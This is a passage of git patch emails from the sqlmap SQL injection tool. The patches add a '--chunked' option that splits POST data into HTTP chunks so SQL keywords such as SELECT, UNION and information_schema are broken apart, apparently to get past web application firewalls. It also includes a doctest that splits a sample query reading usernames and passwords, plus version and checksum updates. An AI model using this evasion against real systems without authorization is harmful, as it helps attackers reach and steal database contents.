+94679a06c134ca5c1db1e435e1cb9fb1 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -96b86cf1a93128720caa88a22f604ea1 lib/core/settings.py +2d4b155258f2ae85c7f287c58742e1fb lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py @@ -236,7 +236,7 @@ ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_ 0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_ 2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_ 41522f8ad02ac133ca0aeaab374c36a8 sqlmapapi.py -a436dd078b06bf664637b27f42889a35 sqlmap.py +05fe39a2fbd1cff87cb43c5c36e64365 sqlmap.py 772fb3dd15edc9d4055ab9f9dee0c203 tamper/0x2char.py 3d89a5c4c33d4d1d9303f5e3bd11f0ae tamper/apostrophemask.py 1fd0eec63970728c1e6628b2e4c21d81 tamper/apostrophenullencode.py From 3b3774abaaddfc77a925de184d95683ef90a7115 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 18 Mar 2019 00:46:56 +0100 Subject: [PATCH 154/800] Fixes #3538 --- lib/core/settings.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a638906afd3..9584dbd6c11 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.30" +VERSION = "1.3.3.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index 859cc44d33d..6d6fe66d57a 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -559,7 +559,7 @@ def __init__(self, parser, name, attrs=None, parent=None, self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. - convert = lambda k, val: (k, + convert = lambda (k, val): (k, re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", self._convertEntities, val)) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index e1f6e65cb78..e748f64d4e7 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -2d4b155258f2ae85c7f287c58742e1fb lib/core/settings.py +858db5e54ce928b2ae4ed7fe55c25c12 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py @@ -297,7 +297,7 @@ fc571c746951a5306591e04f70ddc46e tamper/versionedmorekeywords.py d39ce1f99e268dc7f92b602656f49461 tamper/xforwardedfor.py b1c02296b4e3b0ebaa58b9dcd914cbf4 thirdparty/ansistrm/ansistrm.py d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py -87e30550efec58d857da6c69930cd466 thirdparty/beautifulsoup/beautifulsoup.py +3ebe11e5ad9bbe608b1caae540b6fe97 thirdparty/beautifulsoup/beautifulsoup.py cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py ff54a1d98f0ab01ba7b58b068d2ebd26 thirdparty/bottle/bottle.py 4528e6a7bb9341c36c425faf40ef32c3 thirdparty/bottle/__init__.py From 340e250fb1c517ebb401234320d7b6aa1a2190e6 Mon Sep 17 00:00:00 2001 From: boyhack <34109680@qq.com> Date: Tue, 19 Mar 2019 20:26:29 +0800 Subject: [PATCH 155/800] Support for chunked requests (#3536) * Add the `--chunk` option to send requests in chunks * solve the httplib&urllib2 content-legnth * remove info * Solve the error caused by the mix of get mode and chunk * add CHUNKED_KEYWORDS `union` --- lib/core/common.py | 49 +++++++++++++++++++++++++++++++++++++- lib/core/option.py | 15 +++++++++++- lib/core/settings.py | 3 +++ lib/parse/cmdline.py | 2 ++ lib/request/connect.py | 13 ++++++++-- lib/request/httphandler.py | 46 +++++++++++++++++++++++++++++++++++ 6 files changed, 124 insertions(+), 4 deletions(-) create mode 100644 lib/request/httphandler.py diff --git a/lib/core/common.py b/lib/core/common.py index 6a8afd53556..863d297e19f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -98,7 +98,7 @@ from lib.core.exception import SqlmapValueException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict -from lib.core.settings import BANNER +from lib.core.settings import BANNER, CHUNKED_KEYWORDS from lib.core.settings import BOLD_PATTERNS from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES @@ -4895,3 +4895,50 @@ def firstNotNone(*args): break return retVal + +def generateChunkDdata(data): + """ + Convert post data to chunked format data. If the keyword is in a block, the keyword will be cut. + + >>> generateChunkDdata('select 1,2,3,4 from admin') + 4;AZdYz + sele + 2;fJS4D + ct + 5;qbCOT + 1,2, + 7;KItpi + 3,4 fro + 2;pFu1R + m + 5;uRoYZ + admin + 0 + + + """ + dl = len(data) + ret = "" + keywords = CHUNKED_KEYWORDS + index = 0 + while index < dl: + chunk_size = random.randint(1, 9) + if index + chunk_size >= dl: + chunk_size = dl - index + salt = ''.join(random.sample(string.ascii_letters + string.digits, 5)) + while 1: + tmp_chunk = data[index:index + chunk_size] + tmp_bool = True + for k in keywords: + if k in tmp_chunk: + chunk_size -= 1 + tmp_bool = False + break + if tmp_bool: + break + index += chunk_size + ret += "%s;%s\r\n" % (hex(chunk_size)[2:], salt) + ret += "%s\r\n" % tmp_chunk + + ret += "0\r\n\r\n" + return ret diff --git a/lib/core/option.py b/lib/core/option.py index 4204de6db2d..2b241a966ed 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -7,6 +7,7 @@ import cookielib import glob +import httplib import inspect import logging import os @@ -139,6 +140,7 @@ from lib.request.connect import Connect as Request from lib.request.dns import DNSServer from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler +from lib.request.httphandler import HTTPHandler from lib.request.httpshandler import HTTPSHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler @@ -156,6 +158,7 @@ from xml.etree.ElementTree import ElementTree authHandler = urllib2.BaseHandler() +httpHandler = HTTPHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() proxyHandler = urllib2.ProxyHandler() @@ -1106,7 +1109,7 @@ def _setHTTPHandlers(): debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) - handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpsHandler]) + handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpHandler, httpsHandler]) if not conf.dropSetCookie: if not conf.loadCookies: @@ -2602,6 +2605,15 @@ def initOptions(inputOptions=AttribDict(), overrideOptions=False): _setKnowledgeBaseAttributes() _mergeOptions(inputOptions, overrideOptions) +def _setHttpChunked(): + conf.chunk = conf.chunk and conf.data + if conf.chunk: + def hook(self, a, b): + pass + + httplib.HTTPConnection._set_content_length = hook + + def init(): """ Set attributes into both configuration and knowledge base singletons @@ -2627,6 +2639,7 @@ def init(): _listTamperingFunctions() _setTamperingFunctions() _setPreprocessFunctions() + _setHttpChunked() _setWafFunctions() _setTrafficOutputFP() _setupHTTPCollector() diff --git a/lib/core/settings.py b/lib/core/settings.py index 9584dbd6c11..192bf3f5915 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -794,6 +794,9 @@ # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" +# Keywords that need to be cut in the chunked +CHUNKED_KEYWORDS = ['select', 'update', 'insert', 'from', 'load_file', 'sysdatabases', 'msysaccessobjects', 'msysqueries', 'sysmodules', 'information_schema', 'union'] + # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """<style> table{ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 7cec15c1419..a6a79199388 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -220,6 +220,8 @@ def cmdLineParser(argv=None): request.add_option("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") + + request.add_option("--chunk", dest="chunk", action="store_true", help="all requests will be added headers with 'Transfer-Encoding: Chunked' and sent by transcoding") # Optimization options optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap") diff --git a/lib/request/connect.py b/lib/request/connect.py index ed2ced44411..b0927e04ee1 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -61,6 +61,7 @@ class WebSocketException(Exception): from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode +from lib.core.common import generateChunkDdata from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -271,9 +272,13 @@ def getPage(**kwargs): checking = kwargs.get("checking", False) skipRead = kwargs.get("skipRead", False) finalCode = kwargs.get("finalCode", False) + chunked = conf.chunk if multipart: post = multipart + if chunked: + post = urllib.unquote(post) + post = generateChunkDdata(post) websocket_ = url.lower().startswith("ws") @@ -396,6 +401,9 @@ def getPage(**kwargs): if conf.keepAlive: headers[HTTP_HEADER.CONNECTION] = "keep-alive" + + if chunked: + headers[HTTP_HEADER.TRANSFER_ENCODING] = "Chunked" if auxHeaders: headers = forgeHeaders(auxHeaders, headers) @@ -455,7 +463,7 @@ class _(dict): requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: - if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH): + if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) if not getRequestHeader(req, HTTP_HEADER.CONNECTION): @@ -466,7 +474,8 @@ class _(dict): if post is not None: requestMsg += "\r\n\r\n%s" % getUnicode(post) - requestMsg += "\r\n" + if not chunked: + requestMsg += "\r\n" if not multipart: threadData.lastRequestMsg = requestMsg diff --git a/lib/request/httphandler.py b/lib/request/httphandler.py new file mode 100644 index 00000000000..e0f722acce8 --- /dev/null +++ b/lib/request/httphandler.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import urllib2 +import httplib +from lib.core.data import conf + + +class HTTPHandler(urllib2.HTTPHandler): + """ + The hook http_requests function ensures that the chunk function is working properly. + """ + + def _hook(self, request): + host = request.get_host() + if not host: + raise urllib2.URLError('no host given') + + if request.has_data(): # POST + data = request.get_data() + if not request.has_header('Content-type'): + request.add_unredirected_header( + 'Content-type', + 'application/x-www-form-urlencoded') + if not request.has_header('Content-length') and not conf.chunk: + request.add_unredirected_header( + 'Content-length', '%d' % len(data)) + + sel_host = host + if request.has_proxy(): + scheme, sel = urllib2.splittype(request.get_selector()) + sel_host, sel_path = urllib2.splithost(sel) + + if not request.has_header('Host'): + request.add_unredirected_header('Host', sel_host) + for name, value in self.parent.addheaders: + name = name.capitalize() + if not request.has_header(name): + request.add_unredirected_header(name, value) + return request + + http_request = _hook From 87237c82d3c25dec8b6b05595c14a926cbb0bf34 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 19 Mar 2019 14:07:39 +0100 Subject: [PATCH 156/800] Revamp of #3536 --- lib/core/common.py | 69 ++++++++----------- lib/core/option.py | 25 ++++--- lib/core/optiondict.py | 1 + lib/core/settings.py | 6 +- lib/parse/cmdline.py | 7 +- .../{httphandler.py => chunkedhandler.py} | 13 ++-- lib/request/connect.py | 9 +-- sqlmap.conf | 4 ++ txt/checksum.md5 | 13 ++-- 9 files changed, 70 insertions(+), 77 deletions(-) rename lib/request/{httphandler.py => chunkedhandler.py} (85%) diff --git a/lib/core/common.py b/lib/core/common.py index 863d297e19f..02e43bb8faa 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -98,7 +98,7 @@ from lib.core.exception import SqlmapValueException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict -from lib.core.settings import BANNER, CHUNKED_KEYWORDS +from lib.core.settings import BANNER from lib.core.settings import BOLD_PATTERNS from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES @@ -126,6 +126,7 @@ from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES +from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT @@ -4896,49 +4897,35 @@ def firstNotNone(*args): return retVal -def generateChunkDdata(data): +def chunkSplitPostData(data): + """ + Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords) """ - Convert post data to chunked format data. If the keyword is in a block, the keyword will be cut. - >>> generateChunkDdata('select 1,2,3,4 from admin') - 4;AZdYz - sele - 2;fJS4D - ct - 5;qbCOT - 1,2, - 7;KItpi - 3,4 fro - 2;pFu1R - m - 5;uRoYZ - admin - 0 + length = len(data) + retVal = "" + index = 0 + while index < length: + chunkSize = randomInt(1) - """ - dl = len(data) - ret = "" - keywords = CHUNKED_KEYWORDS - index = 0 - while index < dl: - chunk_size = random.randint(1, 9) - if index + chunk_size >= dl: - chunk_size = dl - index - salt = ''.join(random.sample(string.ascii_letters + string.digits, 5)) - while 1: - tmp_chunk = data[index:index + chunk_size] - tmp_bool = True - for k in keywords: - if k in tmp_chunk: - chunk_size -= 1 - tmp_bool = False - break - if tmp_bool: + if index + chunkSize >= length: + chunkSize = length - index + + salt = randomStr(5, alphabet=string.ascii_letters + string.digits) + + while chunkSize: + candidate = data[index:index + chunkSize] + + if re.search(r"\b%s\b" % '|'.join(HTTP_CHUNKED_SPLIT_KEYWORDS), candidate, re.I): + chunkSize -= 1 + else: break - index += chunk_size - ret += "%s;%s\r\n" % (hex(chunk_size)[2:], salt) - ret += "%s\r\n" % tmp_chunk - ret += "0\r\n\r\n" - return ret + index += chunkSize + retVal += "%x;%s\r\n" % (chunkSize, salt) + retVal += "%s\r\n" % candidate + + retVal += "0\r\n\r\n" + + return retVal diff --git a/lib/core/option.py b/lib/core/option.py index 2b241a966ed..7be6dde33fa 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -140,7 +140,7 @@ from lib.request.connect import Connect as Request from lib.request.dns import DNSServer from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler -from lib.request.httphandler import HTTPHandler +from lib.request.chunkedhandler import ChunkedHandler from lib.request.httpshandler import HTTPSHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler @@ -158,7 +158,7 @@ from xml.etree.ElementTree import ElementTree authHandler = urllib2.BaseHandler() -httpHandler = HTTPHandler() +chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() proxyHandler = urllib2.ProxyHandler() @@ -1109,7 +1109,7 @@ def _setHTTPHandlers(): debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) - handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpHandler, httpsHandler]) + handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) if not conf.dropSetCookie: if not conf.loadCookies: @@ -2314,6 +2314,10 @@ def _setTorSocksProxySettings(): socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) socks.wrapmodule(urllib2) +def _setHttpChunked(): + if conf.chunked and conf.data: + httplib.HTTPConnection._set_content_length = lambda self, a, b: None + def _checkWebSocket(): if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): try: @@ -2401,6 +2405,10 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) + if conf.chunked and not any((conf.data, conf.requestFile)): + errMsg = "switch '--chunked' requires usage of option '--data' or '-r'" + raise SqlmapSyntaxException(errMsg) + if conf.api and not conf.configFile: errMsg = "switch '--api' requires usage of option '-c'" raise SqlmapSyntaxException(errMsg) @@ -2605,15 +2613,6 @@ def initOptions(inputOptions=AttribDict(), overrideOptions=False): _setKnowledgeBaseAttributes() _mergeOptions(inputOptions, overrideOptions) -def _setHttpChunked(): - conf.chunk = conf.chunk and conf.data - if conf.chunk: - def hook(self, a, b): - pass - - httplib.HTTPConnection._set_content_length = hook - - def init(): """ Set attributes into both configuration and knowledge base singletons @@ -2639,11 +2638,11 @@ def init(): _listTamperingFunctions() _setTamperingFunctions() _setPreprocessFunctions() - _setHttpChunked() _setWafFunctions() _setTrafficOutputFP() _setupHTTPCollector() _resolveCrossReferences() + _setHttpChunked() _checkWebSocket() parseTargetDirect() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 17f88f98532..5232f674a9e 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -61,6 +61,7 @@ "csrfToken": "string", "csrfUrl": "string", "forceSSL": "boolean", + "chunked": "boolean", "hpp": "boolean", "evalCode": "string", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index 192bf3f5915..c669085f9be 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.31" +VERSION = "1.3.3.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -794,8 +794,8 @@ # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" -# Keywords that need to be cut in the chunked -CHUNKED_KEYWORDS = ['select', 'update', 'insert', 'from', 'load_file', 'sysdatabases', 'msysaccessobjects', 'msysqueries', 'sysmodules', 'information_schema', 'union'] +# SQL keywords used for splitting in HTTP Chunked encoding (switch --chunk) +HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules") # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """<style> diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index a6a79199388..84dd99c0a70 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -215,14 +215,15 @@ def cmdLineParser(argv=None): request.add_option("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") + request.add_option("--chunked", dest="chunked", action="store_true", + help="Use HTTP Chunked transfer encoding method") + request.add_option("--hpp", dest="hpp", action="store_true", help="Use HTTP parameter pollution method") request.add_option("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") - - request.add_option("--chunk", dest="chunk", action="store_true", help="all requests will be added headers with 'Transfer-Encoding: Chunked' and sent by transcoding") - + # Optimization options optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap") diff --git a/lib/request/httphandler.py b/lib/request/chunkedhandler.py similarity index 85% rename from lib/request/httphandler.py rename to lib/request/chunkedhandler.py index e0f722acce8..72ed932c7af 100644 --- a/lib/request/httphandler.py +++ b/lib/request/chunkedhandler.py @@ -6,16 +6,15 @@ """ import urllib2 -import httplib -from lib.core.data import conf +from lib.core.data import conf -class HTTPHandler(urllib2.HTTPHandler): +class ChunkedHandler(urllib2.HTTPHandler): """ - The hook http_requests function ensures that the chunk function is working properly. + Ensures that urllib2.HTTPHandler is working properly in case of Chunked Transfer-Encoding """ - def _hook(self, request): + def _http_request(self, request): host = request.get_host() if not host: raise urllib2.URLError('no host given') @@ -26,7 +25,7 @@ def _hook(self, request): request.add_unredirected_header( 'Content-type', 'application/x-www-form-urlencoded') - if not request.has_header('Content-length') and not conf.chunk: + if not request.has_header('Content-length') and not conf.chunked: request.add_unredirected_header( 'Content-length', '%d' % len(data)) @@ -43,4 +42,4 @@ def _hook(self, request): request.add_unredirected_header(name, value) return request - http_request = _hook + http_request = _http_request diff --git a/lib/request/connect.py b/lib/request/connect.py index b0927e04ee1..4d29ee4e033 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -31,6 +31,7 @@ class WebSocketException(Exception): from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds from lib.core.common import checkSameHost +from lib.core.common import chunkSplitPostData from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import escapeJsonValue @@ -61,7 +62,6 @@ class WebSocketException(Exception): from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode -from lib.core.common import generateChunkDdata from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -272,13 +272,14 @@ def getPage(**kwargs): checking = kwargs.get("checking", False) skipRead = kwargs.get("skipRead", False) finalCode = kwargs.get("finalCode", False) - chunked = conf.chunk + chunked = kwargs.get("chunked", False) or conf.chunked if multipart: post = multipart + if chunked: post = urllib.unquote(post) - post = generateChunkDdata(post) + post = chunkSplitPostData(post) websocket_ = url.lower().startswith("ws") @@ -403,7 +404,7 @@ def getPage(**kwargs): headers[HTTP_HEADER.CONNECTION] = "keep-alive" if chunked: - headers[HTTP_HEADER.TRANSFER_ENCODING] = "Chunked" + headers[HTTP_HEADER.TRANSFER_ENCODING] = "chunked" if auxHeaders: headers = forgeHeaders(auxHeaders, headers) diff --git a/sqlmap.conf b/sqlmap.conf index 7a4cd2672eb..db224c46b7d 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -190,6 +190,10 @@ csrfUrl = # Valid: True or False forceSSL = False +# Use HTTP Chunked transfer encoding method. +# Valid: True or False +chunked = False + # Use HTTP parameter pollution. # Valid: True or False hpp = False diff --git a/txt/checksum.md5 b/txt/checksum.md5 index e748f64d4e7..9d1733d0165 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -b096680d917729fd9658f9b75d44bb3b lib/core/common.py +2344f86e7eb59920645bea6d5f40f580 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py @@ -42,15 +42,15 @@ f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py -947f41084e551ff3b7ef7dda2f25ef20 lib/core/optiondict.py -94679a06c134ca5c1db1e435e1cb9fb1 lib/core/option.py +2f474c3c7a56f0c3cf3371838e7e5fd4 lib/core/optiondict.py +e9b27d7328a8da0b48a908f0112c7745 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -858db5e54ce928b2ae4ed7fe55c25c12 lib/core/settings.py +d89a43c92f2995116fce16b0e00e8aff lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py @@ -61,7 +61,7 @@ d6269c55789f78cf707e09a0f5b45443 lib/core/session.py 5b3f08208be0579356f78ce5805d37b2 lib/core/wordlist.py fb6be55d21a70765e35549af2484f762 lib/__init__.py 4881480d0c1778053908904e04570dc3 lib/parse/banner.py -fafa321d2bbfc60410a131f68d5203ea lib/parse/cmdline.py +79777f4f934f3b0a436fdd6600f7d3b8 lib/parse/cmdline.py 06ccbccb63255c8f1c35950a4c8a6f6b lib/parse/configfile.py d34df646508c2dceb25205e1316673d1 lib/parse/handler.py 43deb2400e269e602e916efaec7c0903 lib/parse/headers.py @@ -71,8 +71,9 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py 993104046c7d97120613409ef7780c76 lib/parse/sitemap.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py bd4b654767eab19cd4dcd4520a68eed5 lib/request/basic.py +caa52d249fbcf1705cd9208b84d93387 lib/request/chunkedhandler.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -e6792ea3cdbcbe17a7fa8cf856d2b956 lib/request/connect.py +f44c5d2716317a0dfa024c98ce4865e9 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From 12602b8a51b1dc6050e95cb727232ef23f78ac3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 19 Mar 2019 14:23:28 +0100 Subject: [PATCH 157/800] doctest compatibility patch (#3536) --- lib/core/common.py | 4 ++++ lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 02e43bb8faa..19d7ae72d1a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4900,6 +4900,10 @@ def firstNotNone(*args): def chunkSplitPostData(data): """ Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords) + + >>> random.seed(0) + >>> chunkSplitPostData("SELECT username,password FROM users") + '5;UAqFz\\r\\nSELEC\\r\\n8;sDK4F\\r\\nT userna\\r\\n3;UMp48\\r\\nme,\\r\\n8;3tT3Q\\r\\npassword\\r\\n4;gAL47\\r\\n FRO\\r\\n5;1qXIa\\r\\nM use\\r\\n2;yZPaE\\r\\nrs\\r\\n0\\r\\n\\r\\n' """ length = len(data) diff --git a/lib/core/settings.py b/lib/core/settings.py index c669085f9be..e3a116d0469 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.32" +VERSION = "1.3.3.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9d1733d0165..3bc11cd8a31 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -2344f86e7eb59920645bea6d5f40f580 lib/core/common.py +223a6eb9dab49bbc3f322235b0f76eeb lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py @@ -50,7 +50,7 @@ 